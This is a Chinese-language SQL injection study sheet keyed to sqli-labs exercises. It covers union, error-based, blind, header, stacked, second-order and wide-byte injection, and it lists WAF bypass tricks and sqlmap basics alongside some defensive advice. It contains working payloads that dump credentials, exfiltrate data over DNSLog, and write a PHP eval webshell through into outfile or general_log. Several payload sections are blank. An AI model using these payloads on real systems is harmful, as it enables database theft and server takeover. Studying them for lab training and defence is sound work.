SQL 注入漏洞
注入流程
判断数据库类型(mysql、mssql、oracle 等)
寻找注入点(get、post、cookie、referer、xff)
判断闭合方式(' " 括号)
注入方式(联合注入、报错注入、布尔盲注、时间盲注等)
获取数据(比如 mysql 中,利用 information_schema 的三张表获取数据)
进一步利用,看下能否 getshell
注入原理
SQL 注入漏洞原理? 当 Web 应用向后台数据库传递 SQL 语句进行数据库 操作时如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的 SQL 语句,直接输入数据库引擎执行,获取或修改数据库中的数据
SQL 注入的本质? 把用户输入的数据当做代码来执行,违背了数据与代码分离的原则
SQL 注入的关键点
用户能控制输入的内容
Web 应用把用户输入的内容带入到数据库中执行
是否回显决定注入难度
注入危害
获取后台数据库中的数据:这是利用最多的方式,盗取网站的数据和敏感信息
猜解后台数据库:盗取网站的数据和敏感信息
绕过认证:例如绕过验证,登录到网站后台,比如使用万能密码
客户端脚本攻击:提交恶意脚本到数据库中,用户浏览此内容时,将受到恶意脚本攻击
提权:可以借助数据库的存储过程,进行提权等操作
getshell:如果条件满足,可以利用 sql 注入写入 shell,获取执行权限
注入漏洞防御
永远不要信任客户端提交的数据,要对客户端提交的数据进行校验和过滤
采用预编译语句绑定变量,而不是直接将变量与 SQL 语句拼接
对客户端提交的数据进行转义
严格执行数据库账号权限管理
对用户敏感信息(比如密码)做严格加密处理
增加专业的 WAF 防护设备
MySQL内置库

关键数据

爆破流程
注释后面的
sql语句:字符型:?id=1' --+数字型:?id=1 --+判断当前表的列数:
?id=1' order by 3 --+关闭原来的回显,进行联合查询,判断回显位置:
?id=-1' union select 1,2,3 --+在回显位置查看数据库版本和数据库名:
?id=-1' union select user(),version(),database() --+在回显位置查看所有数据库名(可略):
select group_concat(schema_name) from information_schema.schemata在回显位置查看指定数据库的所有表名:
select group_concat(table_name) from information_schema.tables where table_schema=database()在回显位置查看指定表的所有列名:
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'在回显位置查看指定数据:
select group_concat('(',username,'|',password,')') from 表名
联合注入
对应靶场:sqli-labs 1-4
判断是否有注入点
闭合方式:单引号 双引号 括号 组合形式
字符型报错
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
数字型报错
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
注入类型判断
字符型
数字型
判断列数
手动从小到大进行尝试
报错提示:Unknown column '4' in 'order clause',说明只有3列
没有报错说明只有3列
注入点在 limit 条件之后,没有报错说明只有3列
知道表名的前提下,不需要查询就能得到列数
获取列名
已知表名,没有 information_schema 条件下 (MySQL >= 4.1)
已知表名,没有 information_schema 条件下 (MySQL 5)
获取数据
没有列名的条件下获取第4列的数据
搜索框注入
分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post
% 在 mysql 中代表任意字符
原码:$sql="select username,id,email from member where username like '%$name%'";
注入:关键词' and 1=1 and '%'='
结果:$sql="select username,id,email from member where username like '%关键词' and 1=1 and '%'='%'";
其他:%' and 1=1--' %' and 1=1 and '%'='
xx型注入
原码:$sql="select id,email from member where username=('$name')";
注入:xx') and 1=1 #
结果:$sql="select id,email from member where username=('xx') and 1=1 #')";
报错注入
对应靶场:sqli-labs 5-6
分类
基于xpath函数(5.1.5及以上,extractvalue()函数 和 updatexml()函数)
基于group by
基于double数值类型超出范围(5.5.5及以上)
基于bigint溢出
基于数据重复性
xpath函数报错
(MySQL >= 4.1)
updatexml(doc,xpath,value)
extractvalue(doc,xpath) (MySQL >= 5.1)
name_const() (仅用于常量)(MySQL >= 5.1)
floor函数报错
前提:联合查询,已知列数,已知表名
?id=1' union select 1, count(*), concat((注入点),0x7e,floor(rand(14)*2)) as x from 表名 group by x --+
rand()报错分析
select count(*), (floor(rand(0)*2)) from users group by (floor(rand(0)*2));
count(*) rand() group by 三者缺一不可,rand() 在查询语句中会执行多次
虚拟表:查询一次,rand()运行一次,查询到则 count+1,查询不到则插值,插值的时候 rand() 又运行一次,将第二个 rand() 值插入,实现报错
报错注入函数

DML 注入
select是DQL,可以直接使用union查询到所需要的信息,因为它是一个完整的语句,而DML只能够通过报错返回信息的方式查询到我们所需的信息insertupdate和delete注入的方式是相同的
常用注入
insert 注入
在注册页注入
原码:$sql="insert into member(username,password) values('{$username}',md5('{$password}'))";
注入:' or updatexml(1,concat(0x7e,(注入点)),0) or '
结果:$query="insert into member(username,password) values('{' or updatexml(1,concat(0x7e,(注入点)),0) or '}',md5('{$getdata['password']}'))";
其他:' or extractvalue(1,concat(0x7e,(注入点))) or '
update 注入
在编辑页注
原码:$sql="update member set sex='{$sex}' where username='{$_SESSION['sqli']['username']}'";
注入:' or updatexml(1,concat(0x7e,(注入点)),0) or '
结果:$sql="update member set sex='{' or updatexml(1,concat(0x7e,(注入点)),0) or '}' where username='{$_SESSION['sqli']['username']}'";
其他:' or extractvalue(1,concat(0x7e,(注入点))) or '
delete 注入
在删除数据页注入(通常根据id删除,为数值型)
原码:$sql="delete from message where id={$id}";
注入:1 or updatexml(1,concat(0x7e,(注入点)),0)
结果:$sql="delete from message where id={1 or updatexml(1,concat(0x7e,(注入点)),0)}";
其他:or extractvalue(1,concat(0x5e24,(database())))
order by 注入
内联查询注入
盲注
对应靶场:sqli-labs 8-10
注入流程
找注入点,判断闭合情况
获取数据库名:判断数据库名的长度,判断数据库名的每一个字符
获取表名:判断表的数量,用
limit依次判断表名的长度,判断表名的每一个字符获取列名:判断列的数量,判断列名的长度,判断列名的每一个字符
获取数据:判断指定列的数据的数量,用
limit依次判断数据的长度,判断数据的每一个字符
常用函数
substr(string,start,length)mid(column_name,start,length)left(string,n)right(string,n)ord(char)ascii(str)char(M)length(string)if(条件,条件为真时返回,条件为假时返回)if(条件,1,sleep(延迟秒数))if(条件,benchmark(执行次数,测试语句),0)
布尔盲注
会间接显示查询语句是否正确,但不会显示关键信息,重复操作多
对应靶场:sqli-labs 8
正确:You are in...........
错误:没有回显
order by 条件中用二进制查询和正则表达式
使用条件语句
make_set()
like,'_' 相当于正则表达式中的 '.'
时间盲注
不管 sql 语句是否正确,不会返回任何信息,只能通过页面缓冲的时间来判断
对应靶场:sqli-labs 9-10
正确:You are in...........
错误:You are in...........
在子句中使用 sleep()
使用条件语句
HTTP Header 注入
对应靶场:sqli-labs 18-22
通过 BurpSuite 对 get 或 post 请求进行抓包重放
User-Agent:使得服务器能够识别客户使用的 操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等Cookie:浏览器中存储的用于记录用户状态的信息X-Forwarded-For(简称 XFF):简称XFF头,它代表客户端的真实的IP,通常一些网站的防注入功能会记录请求端真实 IP 地址并写入数据库或某文件,通过修改 XXF 头可以实现伪造 IPRerferer:浏览器告诉 WEB 服务器自己是从哪个页面链接过来的Host:客户端指定自己想访问的WEB服务器的地址及端口号
原码:$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
注入:' or updatexml(1,concat(0x7e,database()),0) or '
结果:$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('' or updatexml(1,concat(0x7e,database()),0) or '','$remoteipadd','$useragent','$httpaccept','$remoteport')";
其他注入
堆叠注入
对应靶场:sqli-labs 38
在 SQL 语句中,分号用来表示一条 sql 语句的结束,如果在 ; 结束一个 sql 语句后,继续构造下一条语句,分号之后的 sql 语句也会执行,且可以执行任意语句,这个类型的注入称为堆叠注入
漏洞函数:mysqli_multi_query($conn,$sql) 可执行多条 sql 语句导致堆叠注入
JSON 注入
JSON 注入是指应用程序所解析的 JSON 数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON 数据时抛出异常
payload:json={"username":"admin' and extractvalue(1,concat(0x7e,database(),0x7e)) --+"}
二次注入
对应靶场:sqli-labs 24
后端代码对用户输入的数据进行了转义
保存到数据库时没有转义
再次读取数据库的数据时,没有对数据中的特殊字符转义,可形成闭合,导致二次注入
流程:注册用户名 admin' # => 登录 admin' # => 修改密码导致 admin 密码被改
二次编码注入
HTTP 请求过程:浏览器(get/post)=>服务器=>浏览器显示
浏览器会把 URL 经过 编码后发送 给服务器, 不同的浏览器 对 URL 的编码规则不同。GET 方式提交的数据,浏览器会自动进行 URL 编码;POST 方式提交的数据,其编码方式可以由 开发者进行指定
服务器根据其自身的配置文件对 URL 进行解码(解码成 Unicode)
浏览器按照指定的编码显示该网页。此外,在客户端也就是浏览器上运行的前端程序也会根据 Web 服务的需要对要传输的数据进行一些编码操作,而在服务端除了服务器中间件会自动对 URL 进行解码,后端的 Web 程序会对前端进行编码的数据进行解码操作

漏洞函数:urldecode($id)
宽字节注入
对应靶场:sqli-labs 32-37
url 编码
字符=>ascii(字符)=>十六进制(ascii(字符))=>%(十六进制(ascii(字符)))
常见漏洞函数
常见字符集
ASCII:美国信息交换标准代码,共128个字符,每个符号只用一个字节的后面7位,第1位统一规定位0。
Unicode:包含世界上所有符号的编码集合,符号的字节数不统一,难以区分简单符号和特殊符号
UTF-8:对于单字节的符号,字节的第一位设为 0,后面的 7 位为这个符号的 Unicode 码。对于英文字母,UTF8 编码和 ASCII 编码是相同的。对于非单字节(假设字节长度为 N )的符号,第一个字节的前 N 位都设为 1,第 N+1 设为 0,后面字节的前两位一律设为 10,剩下的没有提及的二进制,全部为这个符号的 Unicode 码 UTF8 规定 1 个英文字符用 1 个字节表示,1 个中文字符用 3 个字节表示
GB2312:适用于 汉字处理、汉字通信 等系统之间的信息交换,通行于中国大陆和新加坡等地也采用此编码,1980 年发布,支持汉字 6763 个和非汉字图形字符 682 个,每个汉字及符号以两个字节来表示
GBK::于 1995年12月1日 制订,采用两个字节编码方案,共收录汉字和图形符号 21886 个,它几乎完美支持汉字,因此经常会遇见 GBK 与 Unicode 的转换
mysql编码

mysql 编码规则:show variables like '%character%';
character_set_client:用来指定解析客户端传递数据的编码
character_set_connection:用来指定数据库内部处理时使用的编码
character_set_results:用来指定数据返回给客户端的编码方式
character_set_system: 这是 mysql server 用来存储元数据的编码
character_set_filesystem: 这是文件系统字符集编码主要用于解析用于文件名称的字符串字面值
mysqli_query($conn, "set names UTF-8"); 将会把 client connection results 的字符集设置成 UTF-8
宽字节概念
1、单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)
2、多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
3、UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。
4、常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。
5、宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
宽字节注入原理
addslashes()函数返回在预定义字符之前添加反斜杠的字符串' => \' => %5C%27宽字节注入利用了mysql一个特性,即当 mysql 在使用 GBK 编码的时候,会认为两个字符是一个汉字,当在前面引入一个 ASCII 大于 128 的字符(比如 %df),会认为两个字符是一个汉字,url 编码变为:
%df' => %df\' => (%df%5C)%27 => 運',%df%5C 会被当作一个汉字处理,从而使 %27(单引号) 逃逸预定义字符:单引号('),双引号("),反斜杠(\),NULLpayload:id=%df%27 or 1=1 --+
场景1
mysqli_query($conn, "set names UTF-8");
addslashes($id);

场景2
mysqli_query($conn, "set names UTF-8");
addslashes($id);
mb_convert_encoding($id,"UTF-8","GBK");
iconv("GBK","UTF-8",$id);

场景3
mysqli_query($conn, "set names UTF-8");
mb_convert_encoding($id,"UTF-8","GBK");
iconv("GBK","UTF-8",$id);
addslashes($id);

防注入措施
对于宽字节注入,有一种最好的修补就是:
(1)使用mysqli_set_charset($conn,"GBK")指定字符集
(2)使用mysqli_real_escape_string($conn,$id)进行转义
mysql_real_escape_string 与 addslashes 的不同之处在于其会考虑当前设置的字符集。不会出现把 %df%5c 拼接为一个宽字节的问题,所以用 mysql_set_charset 对当前字符集进行指定,然后转义即可。
Out of band
DNSLog 注入
对应靶场:sqli-labs 5
payload:
前提条件
MySQL 开启 load_file()
DNSLog 回显平台
Windows 平台
secure_file_priv
为
null时,表示 mysqld 不允许导入导出为指定文件夹
/dir/时,表示 mysqld 的导入导出只能发生在/dir/位空 时,表示 mysqld 的导入导出没有任何限制
在 my.ini 文件中 [mysqld] 后面写入 secure_file_priv= 然后重启 mysql 服务
或在 mysql 命令行输入 set global secure_file_priv=;
查看:show variables like "%secure_file_priv%";
load_file()
函数:load_file(file_name),其中 file_name 是文件的完整路径,读取一个文件并将其内容作为字符串返回
满足的条件:文件必须位于服务器主机上 ,必须具有该 FILE 权限才能读取该文件。拥有该 FILE 权限的用户可以读取服务器主机上的任何文件,该文件是 world-readable 的或 MySQL 服务器可读的,此属性与 secure_file_priv 状态相关,文件必须是所有人都可读的,并且它的大小小于 max_allowed_packet 字节
UNC 路径
concat() 函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,目的就是利用 UNC 路径,在 Widnows 中用共享文件的时候就会用到这种网络地址的形式 \\sss.xxx\test\,因为Linux没有UNC路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的
dnslog平台
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
注意
由于每一级域名的长度只能为
63个字符,所以在mysql中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作,所以dnslog.cn也不会收到解析的记录域名里有一个规则,只能出现数字,字母,下划线,所以在获取到的信息中包含了其他特殊符号时,
load_file就会认为是一个错误的域名,不会去网络中解析在使用
group_concat合并查询时,会自动使用,连接我们查询到的每值,但是由于,在url中是不允许出现的,所以使用group_concat查询到的值去解析时候,mysql就会认为这不是一个url地址,不会去网络中解析绕过:select SUBSTR(replace((group_concat(username )),',','_'),1,63)
当前查询
列出 DB 当前正在执行的所有操作
读取文件内容
需要开启 -secure-file-priv 权限
Write a shell
对应靶场:sqli-labs 7
into outfile
into dumpfile
前提条件
web目录具有写权限,能够使用引号(未开启全局GPC)知道网站的绝对路径(根目录,或是根目录下的某个目录)
secure_file_priv没有具体值 或 设置为网站根目录下的某个目录
配置
在 my.ini 文件中 [mysqld] 后面写入 secure_file_priv=
或在 mysql 命令行输入 set global secure_file_priv=;
查看:show variables like "%secure_file_priv%";
日志
payload:select "<?php @eval($_POST['cmd']);?>";
前提条件
开启 general_log 模式:general_log=on
设置日志地址为 webshell 的地址:general_log_file="网站目录 或 shell的地址"
Mysql 具有较高权限
配置
在 my.ini 文件中 [mysqld] 后面写入
general_log = 1general_log_file = "D:/phpStudy/PHPTutorial/WWW/webshell.php"
或在 mysql 命令行输入
set global general_log = "ON";set global general_log_file="D:/phpStudy/PHPTutorial/WWW/webshell.php";
查看:show variables like "%general_log%";
UDF 命令行执行
首先确定服务器是否下载 UDF
然后使用 sys_exec() 和 sys_eval()
Bypass
常见绕过方式
= 绕过
绕过 union select where 等:
注释符绕过大小写绕过内联注释绕过关键字绕过通用绕过(编码)
大小写绕过
payload:?id=-1 Union Select 1,2,(Select group_concat(table_name) from information_schema.tables where table_schema=database())
注释符绕过
mysql 常用注释符:// -- /* */ # --+ --- ;%00 --a /*!表示不注释*/ /*!88888当数字大于mysql版本时算注释*/
注:select * from emails users; 会忽略后面的 users 而不产生报错
payload:select 1,2,3 from users where '1'/1=(1=1)/'1'='1'
内联注释绕过
payload:/*!11111select version()*/
浮点数绕过
select * from users where id=8E0union select 1,2,3 => select * from users where id=8.0 select 1,2,3
空格+括号绕过
()=>空格+=>空格%0a=空格%a0=>空格tab=>空格空格空格=>空格/* */=>空格/*!88888xxxxxx*/=>空格
payload:?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
逗号绕过
Select substr(database() from 1 for 1);Select mid(database() from 1 for 1);select * from news limit 1 offset 0=>Select * from news limit 0,1union select * from(select 1)a join (select 2)b=>Union select1,2select user() like 'r%'=>Select ascii(mid(user(),1,1))=80
加号绕过
payload:or 'swords'='sw'+'ords';EXEC('IN'+'SERT INTO'+'')
换行符绕过
payload:select%0a*%0afrom%0ausers;
比较符(< >)绕过
greatest():返回参数列表的最大值
least():返回参数列表的最小值
strcmp(A,B):A<B返回-1,A=B返回0,A>B返回1
关键字绕过
if(substr(id,1,1)in(0x41),1,3)
select * from users where a in ('aaa');
select substr(a,1,1) in ('a') from users ;
select * from users where a between 'a' and 'b';
select * from users where a between 0x89 and 0x90;
select * from users union select 1,2,3 order by 1;
select 1 as test from users group by test with rollup limit 1 offset 1;
union select * from (select 1)a join (select 2)b=>union select 1,2select user() like 'r%'=>select ascii(mid(user(),1,1))=80
or and xor not 绕过
and=>&&or=>||xor=>|not=>!
= 绕过
使用like、rlike、regexp或者使用<或者>
垃圾数据绕过
payload:?id=11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 or 1 --+
无列名注入
payload
判断列数绕过
payload:select * from users limit 1,1 into @a,@b,@c;
更换提交方式绕过
get=>post post=>get
双写绕过(替换关键字)
payload:?id=-1 union selselectect 1,2,3 --+
引号绕过(十六进制替换)
0x7573657273 => "users"
通用绕过(编码)
%6f%72%20%31%3d%31 => or 1=1
char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74) => "guest"
HTTP参数污染绕过
payload:?id=1&id=-1'
URL编码绕过
payload:?id=-1 union %2573%65%6c%65%63%74 1,2,database()
等价绕过
hex()bin()=>ascii()sleep(3)=>benchmark(200000000,encode('a','b'))concat_ws()=>group_concat()json_arrayagg()=>group_concat()(MySQL >= 5.7.22)mid()substr()=>substring()@@user=>user()@@datadir=>datadir()like=>=group by 1=>order by 1+=>空格0x3a=>:0x3c62723e=><br>%23%0a=注释换行
payload
绕过 WAF
(Web Application Firewall)
绕过安全狗
payload
绕过云锁
payload
DIOS
Dump in One Shot
sqlmap 工具
工具特点
文件目录
doc 目录=> 包含 sqlmap 的简要说明,具体使用说明、作者信息等extra 目录=> 包含 sqlmap 的额外功能,如发出声响、运行 cmd、安全执行等lib 目录=> sqlmap 核心目录plugins 目录=> 包含了 sqlmap 目前支持的 13 种数据库信息和数据库通用事项procs 目录=> 包含了 mssql、mysql、oracle、postgresql 的触发程序shell 目录=> 包含了注入成功后的 9 种 shell 远程命令执行tamper 目录=> 这里包含了 waf 绕过脚本thirdparty 目录=> 包含了第三方插件,例如优化、保持连接、颜色txt 目录=> 包含了表名字典,列名字典、UA 字典等udf 目录=> 存放 udf 提权文件waf 目录=> 存放 waf 特征判断脚本xml 目录=> 存放多种数据库注入检测的 payload 等信息
工作流程

六种注入模式
基于布尔盲注,即可以根据返回页面判断条件真假的注入
基于时间盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
基于联合注入,可以使用 union 的情况下的注入
基于堆查询注入,可以同时执行多条语句的执行时的注入
基于内联查询注入,在 sql 语句中执行 sql 语句
常用参数
示例
tamper脚本绕WAF
Last updated